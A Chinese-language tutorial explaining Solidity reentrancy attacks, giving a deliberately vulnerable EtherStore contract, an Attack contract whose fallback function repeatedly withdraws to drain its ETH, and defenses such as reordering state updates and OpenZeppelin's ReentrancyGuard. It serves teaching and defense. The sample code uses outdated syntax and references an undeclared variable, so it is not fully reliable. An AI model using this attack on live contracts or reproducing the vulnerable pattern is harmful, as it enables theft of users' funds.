前言
重入(Reentrancy)攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数(或者具有回调逻辑的函数)和多余的gas将合约中本不属于自己的 ETH 转走。
重入攻击的本质是:黑客合约在一次交易中不断的回调被攻击合约的函数,造成资产损失。
fallback()
fallback函数,回退函数,是合约里的特殊无名函数,有且仅有一个。
- 它在合约调用没有匹配到函数签名被调用;
- 调用(call, send, transfer)没有带任何数据时被自动调用;
第一种情况多见于函数调用错误,第二种情况多见于原生币(链币)转账。
我们再来看看官方文档的内容:
如果在一个对合约调用中,没有 selector 匹配,则 fallback 函数会被调用。或者在没有 receive 函数时,而没有提供附加数据对合约调用,那么fallback 函数会被执行。
也就是说,攻击合约不需要实现 receive,只需要将攻击逻辑写在 fallback 中就可以实现 每次 eth 转账后,执行重入攻击逻辑。
合约示例
假设我们有两个合约:存储 eth 的合约、攻击合约。
- EtherStore.sol
// 假设每个人可以像合约里存储 ETH,每次取款至少为 1 ETH。contract EtherStore { uint256 public withdrawalLimit = 1 ether; mapping(address => uint256) public balances; function depositFunds() public payable { balances[msg.sender] += msg.value; } function withdrawFunds (uint256 _weiToWithdraw) public { // 5. 因为攻击者的 balance 值没有变化,所以继续执行2. require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawalLimit); require(now >= lastWithdrawTime[msg.sender] + 1 weeks); // 2. Transfer ETH require(msg.sender.call.value(_weiToWithdraw)()); // 这行代码不会被执行 balances[msg.sender] -= _weiToWithdraw; } }
针对这个合约,攻击者可以不执行 balances[msg.sender] -= _weiToWithdraw;
,利用 fallback 函数在攻击合约中将所有 eth 转走。
- Attack.sol
import "EtherStore.sol";contract Attack { EtherStore public etherStore; // 这里的地址就是 EtherStore 的地址 constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } function pwnEtherStore() public payable { require(msg.value >= 1 ether); // send eth to the depositFunds() function etherStore.depositFunds.value(1 ether)(); // 1. 调用取款函数,取回1个 ETH etherStore.withdrawFunds(1 ether); } function collectEther() public { msg.sender.transfer(this.balance); } // 3. EtherStore 完成转账后,自动调用 fallback,执行其中逻辑。 function () payable { if (etherStore.balance > 1 ether) { // 4. 继续调用取款函数,取回1个 ETH etherStore.withdrawFunds(1 ether); } }}
我们回顾一下上面的步骤从1-5,就能理解重入攻击的原理了。
如何防范
我们发现,重入攻击者是利用合约先转账后赋值,导致函数逻辑未执行完成的漏洞进行攻击的。自然的,我们就有两种防范方法:
- 先赋值后转账
对于 EtherStore 的 withdraw 函数做如下更改
function withdrawFunds (uint256 _weiToWithdraw) public { require(balances[msg.sender] >= _weiToWithdraw); require(_weiToWithdraw <= withdrawalLimit); require(now >= lastWithdrawTime[msg.sender] + 1 weeks); // 这里改为先赋值,再转账,等于重入第二次的时候,攻击者账目上钱就是减少后的。 balances[msg.sender] -= _weiToWithdraw; require(msg.sender.call.value(_weiToWithdraw)()); }
- 创建公有变量,记录每个 caller 进出函数的情况。
这个的原理是记录调用者(caller)的进出记录,检查有没有完整的执行函数逻辑。如果攻击者只有进记录,没有出记录,那么很有可能是在进行重入攻击。
我们常用的 Openzeppelin 就是使用的这个方法来防止重入攻击的,具体可以参考:
https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/security/ReentrancyGuard.sol
参考文章:
https://www.jianshu.com/p/601c9e759281